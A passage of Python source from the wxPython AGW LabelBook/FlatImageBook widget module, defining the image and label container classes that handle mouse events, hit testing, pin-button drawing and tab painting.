array,\n # but the book still has more pages, so we set the\n # active page to be the first one (0)\n if self._nIndex < 0 and len(self._pagesInfoVec) > 0:\n self._nIndex = 0\n\n # Refresh the tabs\n if self._nIndex >= 0:\n \n book._bForceSelection = True\n book.SetSelection(self._nIndex)\n book._bForceSelection = False\n \n if not self._pagesInfoVec: \n # Erase the page container drawings\n dc = wx.ClientDC(self)\n dc.Clear()\n\n \n def OnSize(self, event):\n \"\"\"\n Handles the ``wx.EVT_SIZE`` event for L{ImageContainerBase}.\n\n :param `event`: a `wx.SizeEvent` event to be processed.\n \"\"\"\n\n self.Refresh() # Call on paint\n event.Skip()\n\n\n def OnEraseBackground(self, event):\n \"\"\"\n Handles the ``wx.EVT_ERASE_BACKGROUND`` event for L{ImageContainerBase}.\n\n :param `event`: a `wx.EraseEvent` event to be processed.\n\n :note: This method is intentionally empty to reduce flicker. \n \"\"\"\n\n pass\n\n \n def HitTest(self, pt):\n \"\"\"\n Returns the index of the tab at the specified position or ``wx.NOT_FOUND``\n if ``None``, plus the flag style of L{HitTest}.\n\n :param `pt`: an instance of `wx.Point`, to test for hits.\n\n :return: The index of the tab at the specified position plus the hit test\n flag, which can be one of the following bits:\n\n ====================== ======= ================================\n HitTest Flags Value Description\n ====================== ======= ================================\n ``IMG_OVER_IMG`` 0 The mouse is over the tab icon\n ``IMG_OVER_PIN`` 1 The mouse is over the pin button\n ``IMG_OVER_EW_BORDER`` 2 The mouse is over the east-west book border\n ``IMG_NONE`` 3 Nowhere\n ====================== ======= ================================\n \n \"\"\"\n \n style = self.GetParent().GetAGWWindowStyleFlag()\n \n if style & INB_USE_PIN_BUTTON:\n if self._pinBtnRect.Contains(pt):\n return -1, IMG_OVER_PIN \n\n for i in xrange(len(self._pagesInfoVec)):\n \n if self._pagesInfoVec[i].GetPosition() == wx.Point(-1, -1):\n break\n \n # For Web Hover style, we test the TextRect\n if not self.HasAGWFlag(INB_WEB_HILITE):\n buttonRect = wx.RectPS(self._pagesInfoVec[i].GetPosition(), self._pagesInfoVec[i].GetSize())\n else:\n buttonRect = self._pagesInfoVec[i].GetTextRect()\n \n if buttonRect.Contains(pt):\n return i, IMG_OVER_IMG\n \n if self.PointOnSash(pt):\n return -1, IMG_OVER_EW_BORDER\n else:\n return -1, IMG_NONE\n\n\n def PointOnSash(self, pt):\n \"\"\"\n Tests whether pt is located on the sash.\n\n :param `pt`: an instance of `wx.Point`, to test for hits.\n \"\"\"\n\n # Check if we are on a the sash border\n cltRect = self.GetClientRect()\n \n if self.HasAGWFlag(INB_LEFT) or self.HasAGWFlag(INB_TOP):\n if pt.x > cltRect.x + cltRect.width - 4:\n return True\n \n else:\n if pt.x < 4:\n return True\n \n return False\n\n\n def OnMouseLeftDown(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEFT_DOWN`` event for L{ImageContainerBase}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n newSelection = -1\n event.Skip()\n\n # Support for collapse/expand\n style = self.GetParent().GetAGWWindowStyleFlag()\n if style & INB_USE_PIN_BUTTON:\n\n if self._pinBtnRect.Contains(event.GetPosition()):\n \n self._nPinButtonStatus = INB_PIN_PRESSED\n dc = wx.ClientDC(self)\n self.DrawPin(dc, self._pinBtnRect, not self._bCollapsed)\n return\n \n # Incase panel is collapsed, there is nothing \n # to check \n if self._bCollapsed:\n return\n\n tabIdx, where = self.HitTest(event.GetPosition())\n\n if where == IMG_OVER_IMG:\n self._nHoeveredImgIdx = -1 \n\n if tabIdx == -1:\n return\n \n self.GetParent().SetSelection(tabIdx)\n\n\n def OnMouseLeaveWindow(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEAVE_WINDOW`` event for L{ImageContainerBase}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n bRepaint = self._nHoeveredImgIdx != -1\n self._nHoeveredImgIdx = -1\n\n # Make sure the pin button status is NONE\n # incase we were in pin button style\n style = self.GetParent().GetAGWWindowStyleFlag()\n \n if style & INB_USE_PIN_BUTTON:\n \n self._nPinButtonStatus = INB_PIN_NONE\n dc = wx.ClientDC(self)\n self.DrawPin(dc, self._pinBtnRect, not self._bCollapsed)\n \n # Restore cursor\n wx.SetCursor(wx.StockCursor(wx.CURSOR_ARROW))\n \n if bRepaint:\n self.Refresh()\n\n\n def OnMouseLeftUp(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEFT_UP`` event for L{ImageContainerBase}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n style = self.GetParent().GetAGWWindowStyleFlag()\n \n if style & INB_USE_PIN_BUTTON:\n \n bIsLabelContainer = not self.CanDoBottomStyle()\n \n if self._pinBtnRect.Contains(event.GetPosition()):\n \n self._nPinButtonStatus = INB_PIN_NONE\n self._bCollapsed = not self._bCollapsed\n\n if self._bCollapsed:\n \n # Save the current tab area width\n self._tabAreaSize = self.GetSize()\n \n if bIsLabelContainer:\n \n self.SetSizeHints(20, self._tabAreaSize.y)\n \n else:\n \n if style & INB_BOTTOM or style & INB_TOP:\n self.SetSizeHints(self._tabAreaSize.x, 20)\n else:\n self.SetSizeHints(20, self._tabAreaSize.y)\n \n else:\n \n if bIsLabelContainer:\n \n self.SetSizeHints(self._tabAreaSize.x, -1)\n \n else:\n \n # Restore the tab area size\n if style & INB_BOTTOM or style & INB_TOP:\n self.SetSizeHints(-1, self._tabAreaSize.y)\n else:\n self.SetSizeHints(self._tabAreaSize.x, -1)\n \n self.GetParent().GetSizer().Layout()\n self.Refresh()\n return\n \n\n def OnMouseMove(self, event):\n \"\"\"\n Handles the ``wx.EVT_MOTION`` event for L{ImageContainerBase}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n style = self.GetParent().GetAGWWindowStyleFlag()\n if style & INB_USE_PIN_BUTTON:\n \n # Check to see if we are in the pin button rect\n if not self._pinBtnRect.Contains(event.GetPosition()) and self._nPinButtonStatus == INB_PIN_PRESSED:\n \n self._nPinButtonStatus = INB_PIN_NONE\n dc = wx.ClientDC(self)\n self.DrawPin(dc, self._pinBtnRect, not self._bCollapsed)\n \n imgIdx, where = self.HitTest(event.GetPosition())\n self._nHoeveredImgIdx = imgIdx\n \n if not self._bCollapsed:\n \n if self._nHoeveredImgIdx >= 0 and self._nHoeveredImgIdx < len(self._pagesInfoVec):\n \n # Change the cursor to be Hand\n if self.HasAGWFlag(INB_WEB_HILITE) and self._nHoeveredImgIdx != self._nIndex:\n wx.SetCursor(wx.StockCursor(wx.CURSOR_HAND))\n \n else:\n \n # Restore the cursor only if we have the Web hover style set,\n # and we are not currently hovering the sash\n if self.HasAGWFlag(INB_WEB_HILITE) and not self.PointOnSash(event.GetPosition()):\n wx.SetCursor(wx.StockCursor(wx.CURSOR_ARROW))\n \n # Dont display hover effect when hoevering the \n # selected label\n \n if self._nHoeveredImgIdx == self._nIndex:\n self._nHoeveredImgIdx = -1\n \n self.Refresh()\n\n\n def DrawPin(self, dc, rect, downPin):\n \"\"\"\n Draw a pin button, that allows collapsing of the image panel.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the pin button client rectangle;\n :param `downPin`: ``True`` if the pin button is facing downwards, ``False``\n if it is facing leftwards.\n \"\"\"\n\n # Set the bitmap according to the button status\n\n if downPin:\n pinBmp = wx.BitmapFromXPMData(pin_down_xpm)\n else:\n pinBmp = wx.BitmapFromXPMData(pin_left_xpm)\n\n xx = rect.x + 2\n \n if self._nPinButtonStatus in [INB_PIN_HOVER, INB_PIN_NONE]:\n \n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n dc.SetPen(wx.BLACK_PEN)\n dc.DrawRectangle(xx, rect.y, 16, 16)\n\n # Draw upper and left border with grey colour\n dc.SetPen(wx.WHITE_PEN)\n dc.DrawLine(xx, rect.y, xx + 16, rect.y)\n dc.DrawLine(xx, rect.y, xx, rect.y + 16)\n \n elif self._nPinButtonStatus == INB_PIN_PRESSED:\n \n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n dc.SetPen(wx.Pen(wx.NamedColour(\"LIGHT GREY\")))\n dc.DrawRectangle(xx, rect.y, 16, 16)\n\n # Draw upper and left border with grey colour\n dc.SetPen(wx.BLACK_PEN)\n dc.DrawLine(xx, rect.y, xx + 16, rect.y)\n dc.DrawLine(xx, rect.y, xx, rect.y + 16)\n \n # Set the masking\n pinBmp.SetMask(wx.Mask(pinBmp, wx.WHITE))\n\n # Draw the new bitmap\n dc.DrawBitmap(pinBmp, xx, rect.y, True)\n\n # Save the pin rect\n self._pinBtnRect = rect\n\n\n# ---------------------------------------------------------------------------- #\n# Class ImageContainer\n# ---------------------------------------------------------------------------- #\n\nclass ImageContainer(ImageContainerBase):\n \"\"\"\n Base class for L{FlatImageBook} image container.\n \"\"\"\n \n def __init__(self, parent, id=wx.ID_ANY, pos=wx.DefaultPosition, size=wx.DefaultSize,\n style=0, agwStyle=0, name=\"ImageContainer\"):\n \"\"\"\n Default class constructor.\n\n :param `parent`: parent window. Must not be ``None``;\n :param `id`: window identifier. A value of -1 indicates a default value;\n :param `pos`: the control position. A value of (-1, -1) indicates a default position,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `size`: the control size. A value of (-1, -1) indicates a default size,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `style`: the underlying `wx.Panel` window style;\n :param `agwStyle`: the AGW-specific window style. This can be a combination of the\n following bits:\n\n =========================== =========== ==================================================\n Window Styles Hex Value Description\n =========================== =========== ==================================================\n ``INB_BOTTOM`` 0x1 Place labels below the page area. Available only for L{FlatImageBook}.\n ``INB_LEFT`` 0x2 Place labels on the left side. Available only for L{FlatImageBook}.\n ``INB_RIGHT`` 0x4 Place labels on the right side.\n ``INB_TOP`` 0x8 Place labels above the page area.\n ``INB_BORDER`` 0x10 Draws a border around L{LabelBook} or L{FlatImageBook}.\n ``INB_SHOW_ONLY_TEXT`` 0x20 Shows only text labels and no images. Available only for L{LabelBook}.\n ``INB_SHOW_ONLY_IMAGES`` 0x40 Shows only tab images and no label texts. Available only for L{LabelBook}.\n ``INB_FIT_BUTTON`` 0x80 Displays a pin button to show/hide the book control.\n ``INB_DRAW_SHADOW`` 0x100 Draw shadows below the book tabs. Available only for L{LabelBook}.\n ``INB_USE_PIN_BUTTON`` 0x200 Displays a pin button to show/hide the book control.\n ``INB_GRADIENT_BACKGROUND`` 0x400 Draws a gradient shading on the tabs background. Available only for L{LabelBook}.\n ``INB_WEB_HILITE`` 0x800 On mouse hovering, tabs behave like html hyperlinks. Available only for L{LabelBook}.\n ``INB_NO_RESIZE`` 0x1000 Don't allow resizing of the tab area.\n ``INB_FIT_LABELTEXT`` 0x2000 Will fit the tab area to the longest text (or text+image if you have images) in all the tabs.\n =========================== =========== ==================================================\n\n :param `name`: the window name. \n \"\"\"\n\n ImageContainerBase.__init__(self, parent, id, pos, size, style, agwStyle, name)\n \n self.Bind(wx.EVT_PAINT, self.OnPaint)\n self.Bind(wx.EVT_SIZE, self.OnSize)\n self.Bind(wx.EVT_LEFT_DOWN, self.OnMouseLeftDown)\n self.Bind(wx.EVT_LEFT_UP, self.OnMouseLeftUp)\n self.Bind(wx.EVT_ERASE_BACKGROUND, self.OnEraseBackground)\n self.Bind(wx.EVT_MOTION, self.OnMouseMove)\n self.Bind(wx.EVT_LEAVE_WINDOW, self.OnMouseLeaveWindow)\n\n\n def OnSize(self, event):\n \"\"\"\n Handles the ``wx.EVT_SIZE`` event for L{ImageContainer}.\n\n :param `event`: a `wx.SizeEvent` event to be processed.\n \"\"\"\n\n ImageContainerBase.OnSize(self, event)\n event.Skip()\n \n\n def OnMouseLeftDown(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEFT_DOWN`` event for L{ImageContainer}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n \n ImageContainerBase.OnMouseLeftDown(self, event)\n event.Skip()\n \n\n def OnMouseLeftUp(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEFT_UP`` event for L{ImageContainer}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n ImageContainerBase.OnMouseLeftUp(self, event)\n event.Skip()\n\n\n def OnEraseBackground(self, event):\n \"\"\"\n Handles the ``wx.EVT_ERASE_BACKGROUND`` event for L{ImageContainer}.\n\n :param `event`: a `wx.EraseEvent` event to be processed.\n \"\"\"\n\n ImageContainerBase.OnEraseBackground(self, event)\n\n\n def OnMouseMove(self, event):\n \"\"\"\n Handles the ``wx.EVT_MOTION`` event for L{ImageContainer}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n ImageContainerBase.OnMouseMove(self, event)\n event.Skip()\n\n\n def OnMouseLeaveWindow(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEAVE_WINDOW`` event for L{ImageContainer}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n ImageContainerBase.OnMouseLeaveWindow(self, event)\n event.Skip()\n\n \n def CanDoBottomStyle(self):\n \"\"\"\n Allows the parent to examine the children type. Some implementation\n (such as L{LabelBook}), does not support top/bottom images, only left/right.\n \"\"\"\n\n return True\n\n\n def OnPaint(self, event):\n \"\"\"\n Handles the ``wx.EVT_PAINT`` event for L{ImageContainer}.\n\n :param `event`: a `wx.PaintEvent` event to be processed.\n \"\"\"\n\n dc = wx.BufferedPaintDC(self)\n style = self.GetParent().GetAGWWindowStyleFlag()\n\n backBrush = wx.WHITE_BRUSH\n if style & INB_BORDER:\n borderPen = wx.Pen(wx.SystemSettings_GetColour(wx.SYS_COLOUR_3DSHADOW))\n else:\n borderPen = wx.TRANSPARENT_PEN\n\n size = self.GetSize()\n\n # Background\n dc.SetBrush(backBrush)\n\n borderPen.SetWidth(1)\n dc.SetPen(borderPen)\n dc.DrawRectangle(0, 0, size.x, size.y)\n bUsePin = (style & INB_USE_PIN_BUTTON and [True] or [False])[0]\n\n if bUsePin:\n\n # Draw the pin button\n clientRect = self.GetClientRect()\n pinRect = wx.Rect(clientRect.GetX() + clientRect.GetWidth() - 20, 2, 20, 20)\n self.DrawPin(dc, pinRect, not self._bCollapsed)\n\n if self._bCollapsed:\n return\n\n borderPen = wx.BLACK_PEN\n borderPen.SetWidth(1)\n dc.SetPen(borderPen)\n dc.DrawLine(0, size.y, size.x, size.y)\n dc.DrawPoint(0, size.y)\n\n clientSize = 0\n bUseYcoord = (style & INB_RIGHT or style & INB_LEFT)\n\n if bUseYcoord:\n clientSize = size.GetHeight()\n else:\n clientSize = size.GetWidth()\n\n # We reserver 20 pixels for the 'pin' button\n \n # The drawing of the images start position. This is \n # depenedent of the style, especially when Pin button\n # style is requested\n\n if bUsePin:\n if style & INB_TOP or style & INB_BOTTOM:\n pos = (style & INB_BORDER and [0] or [1])[0]\n else:\n pos = (style & INB_BORDER and [20] or [21])[0]\n else:\n pos = (style & INB_BORDER and [0] or [1])[0]\n\n nPadding = 4 # Pad text with 2 pixels on the left and right\n nTextPaddingLeft = 2\n\n count = 0\n \n for i in xrange(len(self._pagesInfoVec)):\n\n count = count + 1 \n \n # incase the 'fit button' style is applied, we set the rectangle width to the\n # text width plus padding\n # Incase the style IS applied, but the style is either LEFT or RIGHT\n # we ignore it\n normalFont = wx.SystemSettings_GetFont(wx.SYS_DEFAULT_GUI_FONT)\n dc.SetFont(normalFont)\n\n textWidth, textHeight = dc.GetTextExtent(self._pagesInfoVec[i].GetCaption())\n\n # Restore font to be normal\n normalFont.SetWeight(wx.FONTWEIGHT_NORMAL)\n dc.SetFont(normalFont)\n\n # Default values for the surronounding rectangle \n # around a button\n rectWidth = self._nImgSize * 2 # To avoid the recangle to 'touch' the borders\n rectHeight = self._nImgSize * 2\n\n # Incase the style requires non-fixed button (fit to text)\n # recalc the rectangle width\n if style & INB_FIT_BUTTON and \\\n not ((style & INB_LEFT) or (style & INB_RIGHT)) and \\\n not self._pagesInfoVec[i].GetCaption() == \"\" and \\\n not (style & INB_SHOW_ONLY_IMAGES):\n \n rectWidth = ((textWidth + nPadding * 2) > rectWidth and [nPadding * 2 + textWidth] or [rectWidth])[0]\n\n # Make the width an even number\n if rectWidth % 2 != 0:\n rectWidth += 1\n\n # Check that we have enough space to draw the button\n # If Pin button is used, consider its space as well (applicable for top/botton style)\n # since in the left/right, its size is already considered in 'pos'\n pinBtnSize = (bUsePin and [20] or [0])[0]\n \n if pos + rectWidth + pinBtnSize > clientSize:\n break\n\n # Calculate the button rectangle\n modRectWidth = ((style & INB_LEFT or style & INB_RIGHT) and [rectWidth - 2] or [rectWidth])[0]\n modRectHeight = ((style & INB_LEFT or style & INB_RIGHT) and [rectHeight] or [rectHeight - 2])[0]\n\n if bUseYcoord:\n buttonRect = wx.Rect(1, pos, modRectWidth, modRectHeight)\n else:\n buttonRect = wx.Rect(pos , 1, modRectWidth, modRectHeight)\n\n # Check if we need to draw a rectangle around the button\n if self._nIndex == i:\n \n # Set the colours\n penColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n brushColour = ArtManager.Get().LightColour(wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION), 75)\n\n dc.SetPen(wx.Pen(penColour))\n dc.SetBrush(wx.Brush(brushColour))\n\n # Fix the surrounding of the rect if border is set\n if style & INB_BORDER:\n \n if style & INB_TOP or style & INB_BOTTOM:\n buttonRect = wx.Rect(buttonRect.x + 1, buttonRect.y, buttonRect.width - 1, buttonRect.height)\n else:\n buttonRect = wx.Rect(buttonRect.x, buttonRect.y + 1, buttonRect.width, buttonRect.height - 1)\n \n dc.DrawRectangleRect(buttonRect)\n \n if self._nHoeveredImgIdx == i:\n \n # Set the colours\n penColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n brushColour = ArtManager.Get().LightColour(wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION), 90)\n\n dc.SetPen(wx.Pen(penColour))\n dc.SetBrush(wx.Brush(brushColour))\n\n # Fix the surrounding of the rect if border is set\n if style & INB_BORDER:\n \n if style & INB_TOP or style & INB_BOTTOM:\n buttonRect = wx.Rect(buttonRect.x + 1, buttonRect.y, buttonRect.width - 1, buttonRect.height)\n else:\n buttonRect = wx.Rect(buttonRect.x, buttonRect.y + 1, buttonRect.width, buttonRect.height - 1)\n \n dc.DrawRectangleRect(buttonRect)\n \n if bUseYcoord:\n rect = wx.Rect(0, pos, rectWidth, rectWidth)\n else:\n rect = wx.Rect(pos, 0, rectWidth, rectWidth)\n\n # Incase user set both flags:\n # INB_SHOW_ONLY_TEXT and INB_SHOW_ONLY_IMAGES\n # We override them to display both\n\n if style & INB_SHOW_ONLY_TEXT and style & INB_SHOW_ONLY_IMAGES:\n \n style ^= INB_SHOW_ONLY_TEXT\n style ^= INB_SHOW_ONLY_IMAGES\n self.GetParent().SetAGWWindowStyleFlag(style)\n \n # Draw the caption and text\n imgTopPadding = 10\n if not style & INB_SHOW_ONLY_TEXT and self._pagesInfoVec[i].GetImageIndex() != -1:\n \n if bUseYcoord:\n \n imgXcoord = self._nImgSize / 2\n imgYcoord = (style & INB_SHOW_ONLY_IMAGES and [pos + self._nImgSize / 2] or [pos + imgTopPadding])[0]\n \n else:\n \n imgXcoord = pos + (rectWidth / 2) - (self._nImgSize / 2)\n imgYcoord = (style & INB_SHOW_ONLY_IMAGES and [self._nImgSize / 2] or [imgTopPadding])[0]\n\n self._ImageList.Draw(self._pagesInfoVec[i].GetImageIndex(), dc,\n imgXcoord, imgYcoord,\n wx.IMAGELIST_DRAW_TRANSPARENT, True)\n \n # Draw the text\n if not style & INB_SHOW_ONLY_IMAGES and not self._pagesInfoVec[i].GetCaption() == \"\":\n \n dc.SetFont(normalFont)\n \n # Check if the text can fit the size of the rectangle,\n # if not truncate it \n fixedText = self._pagesInfoVec[i].GetCaption()\n if not style & INB_FIT_BUTTON or (style & INB_LEFT or (style & INB_RIGHT)):\n \n fixedText = self.FixTextSize(dc, self._pagesInfoVec[i].GetCaption(), self._nImgSize *2 - 4)\n\n # Update the length of the text\n textWidth, textHeight = dc.GetTextExtent(fixedText)\n \n if bUseYcoord:\n \n textOffsetX = ((rectWidth - textWidth) / 2 )\n textOffsetY = (not style & INB_SHOW_ONLY_TEXT and [pos + self._nImgSize + imgTopPadding + 3] or \\\n [pos + ((self._nImgSize * 2 - textHeight) / 2 )])[0]\n \n else:\n \n textOffsetX = (rectWidth - textWidth) / 2 + pos + nTextPaddingLeft\n textOffsetY = (not style & INB_SHOW_ONLY_TEXT and [self._nImgSize + imgTopPadding + 3] or \\\n [((self._nImgSize * 2 - textHeight) / 2 )])[0]\n \n dc.SetTextForeground(wx.SystemSettings_GetColour(wx.SYS_COLOUR_WINDOWTEXT))\n dc.DrawText(fixedText, textOffsetX, textOffsetY)\n \n # Update the page info\n self._pagesInfoVec[i].SetPosition(buttonRect.GetPosition())\n self._pagesInfoVec[i].SetSize(buttonRect.GetSize())\n\n pos += rectWidth\n \n # Update all buttons that can not fit into the screen as non-visible\n for ii in xrange(count, len(self._pagesInfoVec)):\n self._pagesInfoVec[ii].SetPosition(wx.Point(-1, -1))\n\n # Draw the pin button\n if bUsePin:\n \n clientRect = self.GetClientRect()\n pinRect = wx.Rect(clientRect.GetX() + clientRect.GetWidth() - 20, 2, 20, 20)\n self.DrawPin(dc, pinRect, not self._bCollapsed)\n \n\n# ---------------------------------------------------------------------------- #\n# Class LabelContainer\n# ---------------------------------------------------------------------------- #\n\nclass LabelContainer(ImageContainerBase):\n \"\"\" Base class for L{LabelBook}. \"\"\"\n \n def __init__(self, parent, id=wx.ID_ANY, pos=wx.DefaultPosition, size=wx.DefaultSize,\n style=0, agwStyle=0, name=\"LabelContainer\"):\n \"\"\"\n Default class constructor.\n\n :param `parent`: parent window. Must not be ``None``;\n :param `id`: window identifier. A value of -1 indicates a default value;\n :param `pos`: the control position. A value of (-1, -1) indicates a default position,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `size`: the control size. A value of (-1, -1) indicates a default size,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `style`: the underlying `wx.Panel` window style;\n :param `agwStyle`: the AGW-specific window style. This can be a combination of the\n following bits:\n\n =========================== =========== ==================================================\n Window Styles Hex Value Description\n =========================== =========== ==================================================\n ``INB_BOTTOM`` 0x1 Place labels below the page area. Available only for L{FlatImageBook}.\n ``INB_LEFT`` 0x2 Place labels on the left side. Available only for L{FlatImageBook}.\n ``INB_RIGHT`` 0x4 Place labels on the right side.\n ``INB_TOP`` 0x8 Place labels above the page area.\n ``INB_BORDER`` 0x10 Draws a border around L{LabelBook} or L{FlatImageBook}.\n ``INB_SHOW_ONLY_TEXT`` 0x20 Shows only text labels and no images. Available only for L{LabelBook}.\n ``INB_SHOW_ONLY_IMAGES`` 0x40 Shows only tab images and no label texts. Available only for L{LabelBook}.\n ``INB_FIT_BUTTON`` 0x80 Displays a pin button to show/hide the book control.\n ``INB_DRAW_SHADOW`` 0x100 Draw shadows below the book tabs. Available only for L{LabelBook}.\n ``INB_USE_PIN_BUTTON`` 0x200 Displays a pin button to show/hide the book control.\n ``INB_GRADIENT_BACKGROUND`` 0x400 Draws a gradient shading on the tabs background. Available only for L{LabelBook}.\n ``INB_WEB_HILITE`` 0x800 On mouse hovering, tabs behave like html hyperlinks. Available only for L{LabelBook}.\n ``INB_NO_RESIZE`` 0x1000 Don't allow resizing of the tab area.\n ``INB_FIT_LABELTEXT`` 0x2000 Will fit the tab area to the longest text (or text+image if you have images) in all the tabs.\n =========================== =========== ==================================================\n\n :param `name`: the window name. \n \"\"\"\n\n ImageContainerBase.__init__(self, parent, id, pos, size, style, agwStyle, name)\n self._nTabAreaWidth = 100\n self._oldCursor = wx.NullCursor\n self._coloursMap = {}\n self._skin = wx.NullBitmap\n self._sashRect = wx.Rect()\n\n self.Bind(wx.EVT_PAINT, self.OnPaint)\n self.Bind(wx.EVT_SIZE, self.OnSize)\n self.Bind(wx.EVT_LEFT_DOWN, self.OnMouseLeftDown)\n self.Bind(wx.EVT_LEFT_UP, self.OnMouseLeftUp)\n self.Bind(wx.EVT_MOTION, self.OnMouseMove)\n self.Bind(wx.EVT_LEAVE_WINDOW, self.OnMouseLeaveWindow)\n self.Bind(wx.EVT_ERASE_BACKGROUND, self.OnEraseBackground)\n\n\n def OnSize(self, event):\n \"\"\"\n Handles the ``wx.EVT_SIZE`` event for L{LabelContainer}.\n\n :param `event`: a `wx.SizeEvent` event to be processed.\n \"\"\"\n\n ImageContainerBase.OnSize(self, event)\n event.Skip()\n\n\n def OnEraseBackground(self, event):\n \"\"\"\n Handles the ``wx.EVT_ERASE_BACKGROUND`` event for L{LabelContainer}.\n\n :param `event`: a `wx.EraseEvent` event to be processed.\n \"\"\"\n\n ImageContainerBase.OnEraseBackground(self, event) \n\n \n def GetTabAreaWidth(self):\n \"\"\" Returns the width of the tab area. \"\"\"\n\n return self._nTabAreaWidth\n\n\n def SetTabAreaWidth(self, width):\n \"\"\"\n Sets the width of the tab area.\n\n :param `width`: the width of the tab area, in pixels.\n \"\"\"\n\n self._nTabAreaWidth = width\n\n\n def CanDoBottomStyle(self):\n \"\"\"\n Allows the parent to examine the children type. Some implementation\n (such as L{LabelBook}), does not support top/bottom images, only left/right.\n \"\"\"\n\n return False \n\n\n def SetBackgroundBitmap(self, bmp):\n \"\"\"\n Sets the background bitmap for the control.\n\n :param `bmp`: a valid `wx.Bitmap` object.\n \"\"\"\n\n self._skin = bmp\n\n\n def OnPaint(self, event):\n \"\"\"\n Handles the ``wx.EVT_PAINT`` event for L{LabelContainer}.\n\n :param `event`: a `wx.PaintEvent` event to be processed.\n \"\"\"\n \n style = self.GetParent().GetAGWWindowStyleFlag()\n\n dc = wx.BufferedPaintDC(self)\n backBrush = wx.Brush(self._coloursMap[INB_TAB_AREA_BACKGROUND_COLOUR])\n if self.HasAGWFlag(INB_BORDER):\n borderPen = wx.Pen(self._coloursMap[INB_TABS_BORDER_COLOUR])\n else:\n borderPen = wx.TRANSPARENT_PEN\n \n size = self.GetSize()\n \n # Set the pen & brush\n dc.SetBrush(backBrush)\n dc.SetPen(borderPen)\n \n # Incase user set both flags, we override them to display both\n # INB_SHOW_ONLY_TEXT and INB_SHOW_ONLY_IMAGES\n if style & INB_SHOW_ONLY_TEXT and style & INB_SHOW_ONLY_IMAGES:\n \n style ^= INB_SHOW_ONLY_TEXT\n style ^= INB_SHOW_ONLY_IMAGES\n self.GetParent().SetAGWWindowStyleFlag(style)\n\n if self.HasAGWFlag(INB_GRADIENT_BACKGROUND) and not self._skin.Ok():\n \n # Draw graident in the background area\n startColour = self._coloursMap[INB_TAB_AREA_BACKGROUND_COLOUR]\n endColour = ArtManager.Get().LightColour(self._coloursMap[INB_TAB_AREA_BACKGROUND_COLOUR], 50)\n ArtManager.Get().PaintStraightGradientBox(dc, wx.Rect(0, 0, size.x / 2, size.y), startColour, endColour, False)\n ArtManager.Get().PaintStraightGradientBox(dc, wx.Rect(size.x / 2, 0, size.x / 2, size.y), endColour, startColour, False)\n \n else:\n \n # Draw the border and background\n if self._skin.Ok():\n \n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n self.DrawBackgroundBitmap(dc)\n \n dc.DrawRectangleRect(wx.Rect(0, 0, size.x, size.y))\n \n # Draw border\n if self.HasAGWFlag(INB_BORDER) and self.HasAGWFlag(INB_GRADIENT_BACKGROUND):\n \n # Just draw the border with transparent brush\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n dc.DrawRectangleRect(wx.Rect(0, 0, size.x, size.y))\n\n bUsePin = (self.HasAGWFlag(INB_USE_PIN_BUTTON) and [True] or [False])[0]\n\n if bUsePin:\n \n # Draw the pin button\n clientRect = self.GetClientRect()\n pinRect = wx.Rect(clientRect.GetX() + clientRect.GetWidth() - 20, 2, 20, 20)\n self.DrawPin(dc, pinRect, not self._bCollapsed)\n\n if self._bCollapsed:\n return\n \n dc.SetPen(wx.BLACK_PEN)\n self.SetSizeHints(self._nTabAreaWidth, -1)\n\n # We reserve 20 pixels for the pin button\n posy = 20 \n count = 0\n \n for i in xrange(len(self._pagesInfoVec)):\n count = count+1 \n # Default values for the surronounding rectangle \n # around a button\n rectWidth = self._nTabAreaWidth \n \n if self.HasAGWFlag(INB_SHOW_ONLY_TEXT):\n font = wx.SystemSettings_GetFont(wx.SYS_DEFAULT_GUI_FONT)\n font.SetPointSize(font.GetPointSize() * self.GetParent().GetFontSizeMultiple())\n if self.GetParent().GetFontBold():\n font.SetWeight(wx.FONTWEIGHT_BOLD)\n dc.SetFont(font)\n w, h = dc.GetTextExtent(self._pagesInfoVec[i].GetCaption())\n rectHeight = h * 2\n else:\n rectHeight = self._nImgSize * 2\n\n # Check that we have enough space to draw the button\n if posy + rectHeight > size.GetHeight():\n break\n\n # Calculate the button rectangle\n posx = 0\n\n buttonRect = wx.Rect(posx, posy, rectWidth, rectHeight)\n indx = self._pagesInfoVec[i].GetImageIndex()\n\n if indx == -1:\n bmp = wx.NullBitmap\n else:\n bmp = self._ImageList.GetBitmap(indx)\n\n self.DrawLabel(dc, buttonRect, self._pagesInfoVec[i].GetCaption(), bmp,\n self._pagesInfoVec[i], self.HasAGWFlag(INB_LEFT) or self.HasAGWFlag(INB_TOP),\n i, self._nIndex == i, self._nHoeveredImgIdx == i)\n\n posy += rectHeight\n \n # Update all buttons that can not fit into the screen as non-visible\n for ii in xrange(count, len(self._pagesInfoVec)):\n self._pagesInfoVec[i].SetPosition(wx.Point(-1, -1))\n\n if bUsePin:\n \n clientRect = self.GetClientRect()\n pinRect = wx.Rect(clientRect.GetX() + clientRect.GetWidth() - 20, 2, 20, 20)\n self.DrawPin(dc, pinRect, not self._bCollapsed)\n 